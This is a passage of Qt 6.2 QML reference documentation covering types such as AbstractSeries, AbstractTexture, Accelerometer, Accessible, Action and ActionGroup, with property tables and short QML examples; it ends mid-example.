* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtcharts-abstractseries-members.html)

 Properties
----------

 * **[name](qml-qtcharts-abstractseries#name-prop)** : string
* **[opacity](qml-qtcharts-abstractseries#opacity-prop)** : real
* **[type](qml-qtcharts-abstractseries#type-prop)** : enumeration
* **[useOpenGL](qml-qtcharts-abstractseries#useOpenGL-prop)** : bool
* **[visible](qml-qtcharts-abstractseries#visible-prop)** : bool

 Detailed Description
--------------------

 This type cannot be instantiated directly. Instead, one of the following derived types should be used to create a series: [LineSeries](qml-qtcharts-lineseries), [AreaSeries](qml-qtcharts-areaseries), [BarSeries](qml-qtcharts-barseries), [StackedBarSeries](qml-qtcharts-stackedbarseries), [PercentBarSeries](qml-qtcharts-percentbarseries), [HorizontalBarSeries](qml-qtcharts-horizontalbarseries), [HorizontalStackedBarSeries](qml-qtcharts-horizontalstackedbarseries), [HorizontalPercentBarSeries](qml-qtcharts-horizontalpercentbarseries), [PieSeries](qml-qtcharts-pieseries), [ScatterSeries](qml-qtcharts-scatterseries), [SplineSeries](qml-qtcharts-splineseries), [BoxPlotSeries](qml-qtcharts-boxplotseries), or [CandlestickSeries](qml-qtcharts-candlestickseries).

 Property Documentation
----------------------

 ###  name : [string](qml-string)

 The name of the series. It is displayed in the legend for the series and it supports HTML formatting.

 ###  opacity : [real](qml-real)

 The opacity of the series. By default, the opacity is 1.0. The valid values range from 0.0 (transparent) to 1.0 (opaque).

 ###  type : [enumeration](qml-enumeration)

 The type of the series.

 

| Constant | Description |
| --- | --- |
| `AbstractSeries.SeriesTypeLine` | A line chart. |
| `AbstractSeries.SeriesTypeArea` | An area chart. |
| `AbstractSeries.SeriesTypeBar` | A vertical bar chart. |
| `AbstractSeries.SeriesTypeStackedBar` | A vertical stacked bar chart. |
| `AbstractSeries.SeriesTypePercentBar` | A vertical percent bar chart. |
| `AbstractSeries.SeriesTypePie` | A pie chart. |
| `AbstractSeries.SeriesTypeScatter` | A scatter chart. |
| `AbstractSeries.SeriesTypeSpline` | A spline chart. |
| `AbstractSeries.SeriesTypeHorizontalBar` | A horizontal bar chart. |
| `AbstractSeries.SeriesTypeHorizontalStackedBar` | A horizontal stacked bar chart. |
| `AbstractSeries.SeriesTypeHorizontalPercentBar` | A horizontal percent bar chart. |
| `AbstractSeries.SeriesTypeBoxPlot` | A box plot chart. |
| `AbstractSeries.SeriesTypeCandlestick` | A candlestick chart. |

 ###  useOpenGL : [bool](qml-bool)

 Specifies whether or not the series is drawn with OpenGL.

 Acceleration using OpenGL is supported only for [LineSeries](qml-qtcharts-lineseries) and [ScatterSeries](qml-qtcharts-scatterseries). A line series used as an edge series for a [AreaSeries](qml-qtcharts-areaseries) cannot use OpenGL acceleration. When a chart contains any series that are drawn with OpenGL, an additional transparent child node is created for the [ChartView](qml-qtcharts-chartview) node. The accelerated series are not drawn on the [ChartView](qml-qtcharts-chartview) node, but are instead drawn on the child node.

 Performance gained from using OpenGL to accelerate series drawing depends on the underlying hardware, but in most cases it is significant. For example, on a standard desktop computer, enabling OpenGL acceleration for a series typically allows rendering at least hundred times more points without reduction on the frame rate. Chart size also has less effect on the frame rate. The biggest performance sink when rendering [ChartView](qml-qtcharts-chartview) is rendering and uploading the underlying chart texture. If the underlying chart itself is not changing rapidly, significant extra performance is gained from not needing to regenerate the chart texture for each frame.

 The OpenGL acceleration of series drawing is meant for use cases that need fast drawing of large numbers of points. It is optimized for efficiency, and therefore the series using it lack support for many features available to non-accelerated series:

 * Series animations are not supported for accelerated series.
* Point labels are not supported for accelerated series.
* Pen styles, marker shapes and light markers are ignored for accelerated series. Only solid lines and plain scatter dots are supported. The scatter dots may be circular or rectangular, depending on the underlying graphics hardware and drivers.
* Polar charts do not support accelerated series.
* Mouse events for series are reported asynchronously.
* Enabling chart drop shadow or using transparent chart background color is not recommended when using accelerated series, as that can slow the frame rate down significantly.

 The default value is `false`.

 ###  visible : [bool](qml-bool)

 Visibility of the series. By default, `true`.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtcharts-abstractseries.html>

AbstractSkeleton QML Type
=========================

 A skeleton contains the joints for a skinned mesh. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Core |
|  Since: |  Qt 5.10 |
|  Instantiates: | [QAbstractSkeleton](qt3dcore-qabstractskeleton) |
|  Inherits: | [Node](qml-qt3d-core-node) |
|  Inherited By: | [Skeleton](qml-qt3d-core-skeleton) and [SkeletonLoader](qml-qt3d-core-skeletonloader) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-core-abstractskeleton-members.html)

 Detailed Description
--------------------

 Do not use this class directly. You should use [SkeletonLoader](qml-qt3d-core-skeletonloader) if loading skeleton data from a file (most likely) or Skeleton if creating the skeleton and skinned mesh data yourself (mainly for people creating editors or tooling).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-core-abstractskeleton.html>

AbstractTexture QML Type
========================

 A base class to be used to provide textures. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Render |
|  Since: |  Qt 5.5 |
|  Instantiates: | [QAbstractTexture](qt3drender-qabstracttexture) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-render-abstracttexture-members.html)

 Properties
----------

 * **[handle](qml-qt3d-render-abstracttexture#handle-prop)** : var
* **[handleType](qml-qt3d-render-abstracttexture#handleType-prop)** : enumeration

 Detailed Description
--------------------

 The AbstractTexture class shouldn't be used directly but rather through one of its subclasses. Each subclass implements a given texture target (2D, 2DArray, 3D, CubeMap ...) Each subclass provides a set of functors for each layer, cube map face and mipmap level. In turn the backend uses those functor to properly fill a corresponding OpenGL texture with data. It is expected the functor does as minimal processing as possible so as not to slow down textures generation and upload. If the content of a texture is the result of a slow procedural generation process, it is recommended not to implement this directly in a functor.

 All textures are unique. If you instantiate twice the same texture this will create 2 identical textures on the GPU, no sharing will take place.

 Property Documentation
----------------------

 ###  handle : [var](qml-var)

 Holds the current texture handle, if Qt 3D is using the OpenGL renderer, handle is a texture id integer.

 ###  handleType : [enumeration](qml-enumeration)

 Holds the current texture handle type.

 

| Constant | Value |
| --- | --- |
| `AbstractTexture.NoHandle` |
| `AbstractTexture.OpenGLTextureId` |



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-render-abstracttexture.html>

AbstractTextureImage QML Type
=============================

 Encapsulates the necessary information to create an OpenGL texture image. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Render |
|  Since: |  Qt 5.5 |
|  Instantiates: | [QAbstractTextureImage](qt3drender-qabstracttextureimage) |
|  Inherits: | [Node](qml-qt3d-core-node) |
|  Inherited By: | [TextureImage](qml-qt3d-render-textureimage) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-render-abstracttextureimage-members.html)

 Properties
----------

 * **[face](qml-qt3d-render-abstracttextureimage#face-prop)** : enumeration
* **[layer](qml-qt3d-render-abstracttextureimage#layer-prop)** : int
* **[mipLevel](qml-qt3d-render-abstracttextureimage#mipLevel-prop)** : int

 Detailed Description
--------------------

 Property Documentation
----------------------

 ###  face : [enumeration](qml-enumeration)

 Holds the cube map face of the texture image.

 

| Constant | Description |
| --- | --- |
| `CubeMapPositiveX` | 0x8515 GL\_TEXTURE\_CUBE\_MAP\_POSITIVE\_X |
| `CubeMapNegativeX` | 0x8516 GL\_TEXTURE\_CUBE\_MAP\_NEGATIVE\_X |
| `CubeMapPositiveY` | 0x8517 GL\_TEXTURE\_CUBE\_MAP\_POSITIVE\_Y |
| `CubeMapNegativeY` | 0x8518 GL\_TEXTURE\_CUBE\_MAP\_NEGATIVE\_Y |
| `CubeMapPositiveZ` | 0x8519 GL\_TEXTURE\_CUBE\_MAP\_POSITIVE\_Z |
| `CubeMapNegativeZ` | 0x851A GL\_TEXTURE\_CUBE\_MAP\_NEGATIVE\_Z |

  **Note:** The cube map face has a meaning only for [TargetCubeMap](qt3drender-qabstracttexture#Target-enum) and [TargetCubeMapArray](qt3drender-qabstracttexture#Target-enum).

  ###  layer : [int](qml-int)

 Holds the layer of the texture image.

 ###  mipLevel : [int](qml-int)

 Holds the mipmap level of the texture image.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-render-abstracttextureimage.html>

Accelerometer QML Type
======================

 The Accelerometer element reports on linear acceleration along the X, Y and Z axes. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtSensors |
|  Since: |  QtSensors 5.0 |
|  Inherits: | [Sensor](qml-qtsensors-sensor) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtsensors-accelerometer-members.html)

 Properties
----------

 * **[accelerationMode](qml-qtsensors-accelerometer#accelerationMode-prop)** : AccelerationMode

 Detailed Description
--------------------

 The Accelerometer element reports on linear acceleration along the X, Y and Z axes.

 This element wraps the [QAccelerometer](qaccelerometer) class. Please see the documentation for [QAccelerometer](qaccelerometer) for details.

 **See also** [AccelerometerReading](qml-qtsensors-accelerometerreading).

 Property Documentation
----------------------

 ###  [since QtSensors 5.1] accelerationMode : AccelerationMode

 This property holds the current acceleration mode.

 Please see [QAccelerometer::accelerationMode](qaccelerometer#accelerationMode-prop) for information about this property.

 This property was introduced in QtSensors 5.1.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtsensors-accelerometer.html>

AccelerometerReading QML Type
=============================

 The AccelerometerReading element holds the most recent Accelerometer reading. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtSensors |
|  Since: |  QtSensors 5.0 |
|  Inherits: | [SensorReading](qml-qtsensors-sensorreading) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtsensors-accelerometerreading-members.html)

 Properties
----------

 * **[x](qml-qtsensors-accelerometerreading#x-prop)** : qreal
* **[y](qml-qtsensors-accelerometerreading#y-prop)** : qreal
* **[z](qml-qtsensors-accelerometerreading#z-prop)** : qreal

 Detailed Description
--------------------

 The AccelerometerReading element holds the most recent Accelerometer reading.

 This element wraps the [QAccelerometerReading](qaccelerometerreading) class. Please see the documentation for [QAccelerometerReading](qaccelerometerreading) for details.

 This element cannot be directly created.

 Property Documentation
----------------------

 ###  x : qreal

 This property holds the acceleration on the X axis.

 Please see [QAccelerometerReading::x](qaccelerometerreading#x-prop) for information about this property.

 ###  y : qreal

 This property holds the acceleration on the Y axis.

 Please see [QAccelerometerReading::y](qaccelerometerreading#y-prop) for information about this property.

 ###  z : qreal

 This property holds the acceleration on the Z axis.

 Please see [QAccelerometerReading::z](qaccelerometerreading#z-prop) for information about this property.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtsensors-accelerometerreading.html>

Action QML Type
===============

 QML frontend for the [Qt3DInput::QAction](qt3dinput-qaction) C++ class. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Input |
|  Since: |  Qt 5.7 |
|  Instantiates: | [QAction](qt3dinput-qaction) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-input-action-members.html)

 Properties
----------

 * **[action](qml-qt3d-input-action#action-prop)** : bool
* **[inputs](qml-qt3d-input-action#inputs-prop)** : list<AbstractActionInput>

 Detailed Description
--------------------

 Links a set of [AbstractActionInput](qml-qt3d-input-abstractactioninput) that trigger the same event.

 Property Documentation
----------------------

 ###  action : [bool](qml-bool)

 ###  inputs : [list](qml-list)<[AbstractActionInput](qml-qt3d-input-abstractactioninput)>

 The list of [AbstractActionInput](qml-qt3d-input-abstractactioninput) that must be triggered to trigger this Action.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-input-action.html>

Accessible QML Type
===================

 Enables accessibility of QML items. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-accessible-members.html)

 Properties
----------

 * **[checkStateMixed](qml-qtquick-accessible#checkStateMixed-prop)** : bool
* **[checkable](qml-qtquick-accessible#checkable-prop)** : bool
* **[checked](qml-qtquick-accessible#checked-prop)** : bool
* **[defaultButton](qml-qtquick-accessible#defaultButton-prop)** : bool
* **[description](qml-qtquick-accessible#description-prop)** : string
* **[editable](qml-qtquick-accessible#editable-prop)** : bool
* **[focusable](qml-qtquick-accessible#focusable-prop)** : bool
* **[focused](qml-qtquick-accessible#focused-prop)** : bool
* **[ignored](qml-qtquick-accessible#ignored-prop)** : bool
* **[multiLine](qml-qtquick-accessible#multiLine-prop)** : bool
* **[name](qml-qtquick-accessible#name-prop)** : string
* **[passwordEdit](qml-qtquick-accessible#passwordEdit-prop)** : bool
* **[pressed](qml-qtquick-accessible#pressed-prop)** : bool
* **[readOnly](qml-qtquick-accessible#readOnly-prop)** : bool
* **[role](qml-qtquick-accessible#role-prop)** : enumeration
* **[searchEdit](qml-qtquick-accessible#searchEdit-prop)** : bool
* **[selectable](qml-qtquick-accessible#selectable-prop)** : bool
* **[selectableText](qml-qtquick-accessible#selectableText-prop)** : bool
* **[selected](qml-qtquick-accessible#selected-prop)** : bool

 Signals
-------

 * **[decreaseAction](qml-qtquick-accessible#decreaseAction-signal)**()
* **[increaseAction](qml-qtquick-accessible#increaseAction-signal)**()
* **[nextPageAction](qml-qtquick-accessible#nextPageAction-signal)**()
* **[pressAction](qml-qtquick-accessible#pressAction-signal)**()
* **[previousPageAction](qml-qtquick-accessible#previousPageAction-signal)**()
* **[scrollDownAction](qml-qtquick-accessible#scrollDownAction-signal)**()
* **[scrollLeftAction](qml-qtquick-accessible#scrollLeftAction-signal)**()
* **[scrollRightAction](qml-qtquick-accessible#scrollRightAction-signal)**()
* **[scrollUpAction](qml-qtquick-accessible#scrollUpAction-signal)**()
* **[toggleAction](qml-qtquick-accessible#toggleAction-signal)**()

 Detailed Description
--------------------

 This class is part of the [Accessibility for Qt Quick Applications](https://doc.qt.io/qt-6.2/accessible-qtquick.html).

 Items the user interacts with or that give information to the user need to expose their information to the accessibility framework. Then assistive tools can make use of that information to enable users to interact with the application in various ways. This enables Qt Quick applications to be used with screen-readers for example.

 The most important properties are [name](qml-qtquick-accessible#name-prop), [description](qml-qtquick-accessible#description-prop) and [role](qml-qtquick-accessible#role-prop).

 Example implementation of a simple button:

 
```
Rectangle {
    id: myButton
    Text {
        id: label
        text: "next"
    }
    Accessible.role: Accessible.Button
    Accessible.name: label.text
    Accessible.description: "shows the next page"
    Accessible.onPressAction: {
        // do a button click
    }
}
```
 The [role](qml-qtquick-accessible#role-prop) is set to `Button` to indicate the type of control. [name](qml-qtquick-accessible#name-prop) is the most important information and bound to the text on the button. The name is a short and consise description of the control and should reflect the visual label. In this case it is not clear what the button does with the name only, so [description](qml-qtquick-accessible#description-prop) contains an explanation. There is also a signal handler [Accessible.pressAction](qml-qtquick-accessible#pressAction-signal) which can be invoked by assistive tools to trigger the button. This signal handler needs to have the same effect as tapping or clicking the button would have.

 **See also** [Accessibility](https://doc.qt.io/qt-6.2/accessible.html).

 Property Documentation
----------------------

 ###  checkStateMixed : [bool](qml-bool)

 This property holds whether this item is in the partially checked state.

 By default this property is `false`.

 **See also** [checked](qml-qtquick-accessible#checked-prop) and [checkable](qml-qtquick-accessible#checkable-prop).

 ###  checkable : [bool](qml-bool)

 This property holds whether this item is checkable (like a check box or some buttons).

 By default this property is `false`.

 **See also** [checked](qml-qtquick-accessible#checked-prop).

 ###  checked : [bool](qml-bool)

 This property holds whether this item is currently checked.

 By default this property is `false`.

 **See also** [checkable](qml-qtquick-accessible#checkable-prop).

 ###  defaultButton : [bool](qml-bool)

 This property holds whether this item is the default button of a dialog.

 By default this property is `false`.

 ###  description : [string](qml-string)

 This property sets an accessible description. Similar to the name it describes the item. The description can be a little more verbose and tell what the item does, for example the functionallity of the button it describes.

 ###  editable : [bool](qml-bool)

 This property holds whether this item has editable text.

 By default this property is `false`.

 ###  focusable : [bool](qml-bool)

 This property holds whether this item is focusable.

 By default, this property is `false` except for items where the role is one of `CheckBox`, `RadioButton`, `Button`, `MenuItem`, `PageTab`, `EditableText`, `SpinBox`, `ComboBox`, `Terminal` or `ScrollBar`.

 **See also** [focused](qml-qtquick-accessible#focused-prop).

 ###  focused : [bool](qml-bool)

 This property holds whether this item currently has the active focus.

 By default, this property is `false`, but it will return `true` for items that have [QQuickItem::hasActiveFocus](qquickitem#activeFocus-prop)() returning `true`.

 **See also** [focusable](qml-qtquick-accessible#focusable-prop).

 ###  [since 5.4] ignored : [bool](qml-bool)

 This property holds whether this item should be ignored by the accessibility framework.

 Sometimes an item is part of a group of items that should be treated as one. For example two labels might be visually placed next to each other, but separate items. For accessibility purposes they should be treated as one and thus they are represented by a third invisible item with the right geometry.

 For example a speed display adds "m/s" as a smaller label:

 
```
Row {
    Label {
        id: speedLabel
        text: "Speed: 5"
        Accessible.ignored: true
    }
    Label {
        text: qsTr("m/s")
        Accessible.ignored: true
    }
    Accessible.role: Accessible.StaticText
    Accessible.name: speedLabel.text + " meters per second"
}
```
 By default this property is `false`.

 This property was introduced in Qt 5.4.

 ###  multiLine : [bool](qml-bool)

 This property holds whether this item has multiple text lines.

 By default this property is `false`.

 ###  name : [string](qml-string)

 This property sets an accessible name. For a button for example, this should have a binding to its text. In general this property should be set to a simple and concise but human readable name. Do not include the type of control you want to represent but just the name.

 ###  passwordEdit : [bool](qml-bool)

 This property holds whether this item is a password text edit.

 By default this property is `false`.

 ###  pressed : [bool](qml-bool)

 This property holds whether this item is pressed (for example a button during a mouse click).

 By default this property is `false`.

 ###  readOnly : [bool](qml-bool)

 This property indicates that a text field is read only.

 It is relevant when the role is [QAccessible::EditableText](qaccessible#Role-enum) and set to be read-only. By default this property is `false`.

 ###  role : [enumeration](qml-enumeration)

 This flags sets the semantic type of the widget. A button for example would have "Button" as type. The value must be one of [QAccessible::Role](qaccessible#Role-enum).

 Some roles have special semantics. In order to implement check boxes for example a "checked" property is expected.

 

| **Role** | **Properties and signals** | **Explanation** |
| --- | --- | --- |
| All interactive elements | [focusable](qml-qtquick-accessible#focusable-prop) and [focused](qml-qtquick-accessible#focused-prop) | All elements that the user can interact with should have focusable set to `true` and set `focus` to `true` when they have the focus. This is important even for applications that run on touch-only devices since screen readers often implement a virtual focus that can be moved from item to item. |
| Button, [CheckBox](qml-qtquick-controls2-checkbox), [RadioButton](qml-qtquick-controls2-radiobutton) | [Accessible.pressAction](qml-qtquick-accessible#pressAction-signal) | A button should have a signal handler with the name `onPressAction`. This signal may be emitted by an assistive tool such as a screen-reader. The implementation needs to behave the same as a mouse click or tap on the button. |
| [CheckBox](qml-qtquick-controls2-checkbox), [RadioButton](qml-qtquick-controls2-radiobutton) | [checkable](qml-qtquick-accessible#checkable-prop), [checked](qml-qtquick-accessible#checked-prop), [Accessible.toggleAction](qml-qtquick-accessible#toggleAction-signal) | The check state of the check box. Updated on Press, Check and Uncheck actions. |
| Slider, [SpinBox](qml-qtquick-controls2-spinbox), Dial, [ScrollBar](qml-qtquick-controls2-scrollbar) | `value`, `minimumValue`, `maximumValue`, `stepSize` | These properties reflect the state and possible values for the elements. |
| Slider, [SpinBox](qml-qtquick-controls2-spinbox), Dial, [ScrollBar](qml-qtquick-controls2-scrollbar) | [Accessible.increaseAction](qml-qtquick-accessible#increaseAction-signal), [Accessible.decreaseAction](qml-qtquick-accessible#decreaseAction-signal) | Actions to increase and decrease the value of the element. |

 ###  searchEdit : [bool](qml-bool)

 This property holds whether this item is input for a search query. This property will only affect editable text.

 By default this property is `false`.

 ###  selectable : [bool](qml-bool)

 This property holds whether this item can be selected.

 By default this property is `false`.

 **See also** [selected](qml-qtquick-accessible#selected-prop).

 ###  selectableText : [bool](qml-bool)

 This property holds whether this item contains selectable text.

 By default this property is `false`.

 ###  selected : [bool](qml-bool)

 This property holds whether this item is selected.

 By default this property is `false`.

 **See also** [selectable](qml-qtquick-accessible#selectable-prop).

 Signal Documentation
--------------------

 ###  decreaseAction()

 This signal is emitted when a decrease action is received from an assistive tool such as a screen-reader.

 **Note:** The corresponding handler is `onDecreaseAction`.

 ###  increaseAction()

 This signal is emitted when a increase action is received from an assistive tool such as a screen-reader.

 **Note:** The corresponding handler is `onIncreaseAction`.

 ###  nextPageAction()

 This signal is emitted when a next page action is received from an assistive tool such as a screen-reader.

 **Note:** The corresponding handler is `onNextPageAction`.

 ###  pressAction()

 This signal is emitted when a press action is received from an assistive tool such as a screen-reader.

 **Note:** The corresponding handler is `onPressAction`.

 ###  previousPageAction()

 This signal is emitted when a previous page action is received from an assistive tool such as a screen-reader.

 **Note:** The corresponding handler is `onPreviousPageAction`.

 ###  scrollDownAction()

 This signal is emitted when a scroll down action is received from an assistive tool such as a screen-reader.

 **Note:** The corresponding handler is `onScrollDownAction`.

 ###  scrollLeftAction()

 This signal is emitted when a scroll left action is received from an assistive tool such as a screen-reader.

 **Note:** The corresponding handler is `onScrollLeftAction`.

 ###  scrollRightAction()

 This signal is emitted when a scroll right action is received from an assistive tool such as a screen-reader.

 **Note:** The corresponding handler is `onScrollRightAction`.

 ###  scrollUpAction()

 This signal is emitted when a scroll up action is received from an assistive tool such as a screen-reader.

 **Note:** The corresponding handler is `onScrollUpAction`.

 ###  toggleAction()

 This signal is emitted when a toggle action is received from an assistive tool such as a screen-reader.

 **Note:** The corresponding handler is `onToggleAction`.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-accessible.html>

Action QML Type
===============

 Abstract user interface action. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick.Controls |
|  Since: |  Qt 5.10 |
|  Inherits: | [QtObject](qml-qtqml-qtobject) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-controls2-action-members.html)

 Properties
----------

 * **[checkable](qml-qtquick-controls2-action#checkable-prop)** : bool
* **[checked](qml-qtquick-controls2-action#checked-prop)** : bool
* **[enabled](qml-qtquick-controls2-action#enabled-prop)** : bool
* **[icon](qml-qtquick-controls2-action#icon-prop)**
	+ **[icon.cache](qml-qtquick-controls2-action#icon.cache-prop)** : bool
	+ **[icon.color](qml-qtquick-controls2-action#icon.color-prop)** : color
	+ **[icon.height](qml-qtquick-controls2-action#icon.height-prop)** : int
	+ **[icon.name](qml-qtquick-controls2-action#icon.name-prop)** : string
	+ **[icon.source](qml-qtquick-controls2-action#icon.source-prop)** : url
	+ **[icon.width](qml-qtquick-controls2-action#icon.width-prop)** : int
* **[shortcut](qml-qtquick-controls2-action#shortcut-prop)** : keysequence
* **[text](qml-qtquick-controls2-action#text-prop)** : string

 Signals
-------

 * **[toggled](qml-qtquick-controls2-action#toggled-signal)**(QtObject *source*)
* **[triggered](qml-qtquick-controls2-action#triggered-signal)**(QtObject *source*)

 Methods
-------

 * void **[toggle](qml-qtquick-controls2-action#toggle-method)**(QtObject *source*)
* void **[trigger](qml-qtquick-controls2-action#trigger-method)**(QtObject *source*)

 Detailed Description
--------------------

 Action represents an abstract user interface action that can have shortcuts and can be assigned to menu items and toolbar buttons.

 Actions may contain [text](qml-qtquick-controls2-action#text-prop), an [icon](qml-qtquick-controls2-action#icon-prop), and a [shortcut](qml-qtquick-controls2-action#shortcut-prop). Actions are normally [triggered](qml-qtquick-controls2-action#triggered-signal) by the user via menu items, toolbar buttons, or keyboard shortcuts. A [checkable](qml-qtquick-controls2-action#checkable-prop) Action toggles its [checked](qml-qtquick-controls2-action#checked-prop) state when triggered.

 
```
Action {
    id: copyAction
    text: qsTr("&Copy")
    icon.name: "edit-copy"
    shortcut: StandardKey.Copy
    onTriggered: window.activeFocusItem.copy()
}
```
 Action is commonly used to implement application commands that can be invoked via menu items, toolbar buttons, and keyboard shortcuts. Since the user expects the commands to be performed in the same way, regardless of the user interface used, it is useful to represent the commands as shareable actions.

 Action can be also used to separate the logic and the visual presentation. For example, when declaring buttons and menu items in `.ui.qml` files, actions can be declared elsewhere and assigned from the outside.

 
```
ToolButton {
    id: toolButton
    action: copyAction
}
```
 When an action is paired with buttons and menu items, the `enabled`, `checkable`, and `checked` states are synced automatically. For example, in a word processor, if the user clicks a "Bold" toolbar button, the "Bold" menu item will automatically be checked. Buttons and menu items get their `text` and `icon` from the action by default. An action-specific `text` or `icon` can be overridden for a specific control by specifying `text` or `icon` directly on the control.

 
```
MenuItem {
    id: menuItem
    action: copyAction
    text: qsTr("&Copy selected Text")
}
```
 Since Action presents a user interface action, it is intended to be assigned to a [MenuItem](qml-qtquick-controls2-menuitem), [ToolButton](qml-qtquick-controls2-toolbutton), or any other control that inherits [AbstractButton](qml-qtquick-controls2-abstractbutton). For keyboard shortcuts, the simpler [Shortcut](qml-qtquick-shortcut) type is more appropriate.

 **See also** [MenuItem](qml-qtquick-controls2-menuitem), [ToolButton](qml-qtquick-controls2-toolbutton), and [Shortcut](qml-qtquick-shortcut).

 Property Documentation
----------------------

 ###  checkable : [bool](qml-bool)

 This property holds whether the action is checkable. The default value is `false`.

 A checkable action toggles between checked (on) and unchecked (off) when triggered.

 **See also** [checked](qml-qtquick-controls2-action#checked-prop).

 ###  checked : [bool](qml-bool)

 This property holds whether the action is checked.

 **See also** [checkable](qml-qtquick-controls2-action#checkable-prop).

 ###  enabled : [bool](qml-bool)

 This property holds whether the action is enabled. The default value is `true`.

 ###  icon.cache : [bool](qml-bool)

 

| Name | Description |
| --- | --- |
| name | This property holds the name of the icon to use.The icon will be loaded from the platform theme. If the icon is found in the theme, it will always be used; even if [icon.source](qml-qtquick-controls2-action#icon.source-prop) is also set. If the icon is not found, [icon.source](qml-qtquick-controls2-action#icon.source-prop) will be used instead. For more information on theme icons, see [QIcon::fromTheme](qicon#fromTheme)(). |
| source | This property holds the name of the icon to use.The icon will be loaded as a regular image. If [icon.name](qml-qtquick-controls2-action#icon.name-prop) is set and refers to a valid theme icon, it will always be used instead of this property. |
| width | This property holds the width of the icon.The icon's width will never exceed this value, though it will shrink when necessary. |
| height | This property holds the height of the icon.The icon's height will never exceed this value, though it will shrink when necessary. |
| color | This property holds the color of the icon.The icon is tinted with the specified color, unless the color is set to `"transparent"`. |
| cache | This property specifies whether the icon should be cached.The default value is true. For more information, see [cache](qml-qtquick-image#cache-prop). This property was introduced in [QtQuick](https://doc.qt.io/qt-6.2/qtquick-module.html).Controls 2.13. |

 ###  shortcut : keysequence

 This property holds the action's shortcut. The key sequence can be set to one of the [standard keyboard shortcuts](qkeysequence#StandardKey-enum), or it can be described with a string containing a sequence of up to four key presses that are needed to trigger the shortcut.

 
```
Action {
    shortcut: "Ctrl+E,Ctrl+W"
    onTriggered: edit.wrapMode = TextEdit.Wrap
}
```
 ###  text : [string](qml-string)

 This property holds a textual description of the action.

 Signal Documentation
--------------------

 ###  toggled([QtObject](qml-qtqml-qtobject) *source*)

 This signal is emitted when the action is toggled. The *source* argument identifies the object that toggled the action.

 For example, if the action is assigned to a menu item and a toolbar button, the action is toggled when the control is toggled, the shortcut is activated, or when [toggle](qml-qtquick-controls2-action#toggle-method)() is called directly.

 **Note:** The corresponding handler is `onToggled`.

 ###  triggered([QtObject](qml-qtqml-qtobject) *source*)

 This signal is emitted when the action is triggered. The *source* argument identifies the object that triggered the action.

 For example, if the action is assigned to a menu item and a toolbar button, the action is triggered when the control is clicked, the shortcut is activated, or when [trigger](qml-qtquick-controls2-action#trigger-method)() is called directly.

 **Note:** The corresponding handler is `onTriggered`.

 Method Documentation
--------------------

 ###  void toggle([QtObject](qml-qtqml-qtobject) *source*)

 Toggles the action and emits [toggled](qml-qtquick-controls2-action#toggled-signal)() if enabled, with an optional *source* object defined.

 ###  void trigger([QtObject](qml-qtqml-qtobject) *source*)

 Triggers the action and emits [triggered](qml-qtquick-controls2-action#triggered-signal)() if enabled, with an optional *source* object defined.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-controls2-action.html>

ActionGroup QML Type
====================

 Groups actions together. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick.Controls |
|  Since: |  Qt 5.10 |
|  Inherits: | [QtObject](qml-qtqml-qtobject) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-controls2-actiongroup-members.html)

 Properties
----------

 * **[actions](qml-qtquick-controls2-actiongroup#actions-prop)** : list<Action>
* **[checkedAction](qml-qtquick-controls2-actiongroup#checkedAction-prop)** : Action
* **[enabled](qml-qtquick-controls2-actiongroup#enabled-prop)** : bool
* **[exclusive](qml-qtquick-controls2-actiongroup#exclusive-prop)** : bool

 Attached Properties
-------------------

 * **[group](qml-qtquick-controls2-actiongroup#group-attached-prop)** : ActionGroup

 Signals
-------

 * **[triggered](qml-qtquick-controls2-actiongroup#triggered-signal)**(Action *action*)

 Methods
-------

 * void **[addAction](qml-qtquick-controls2-actiongroup#addAction-method)**(Action *action*)
* void **[removeAction](qml-qtquick-controls2-actiongroup#removeAction-method)**(Action *action*)

 Detailed Description
--------------------

 ActionGroup is a non-visual group of actions. A mutually [exclusive](qml-qtquick-controls2-actiongroup#exclusive-prop) action group is used with actions where only one of the options can be selected at a time.

 The most straight-forward way to use ActionGroup is to declare actions as children of the group.

 
```
ActionGroup {
    id: alignmentGroup

    Action {
        checked: true
        checkable: true
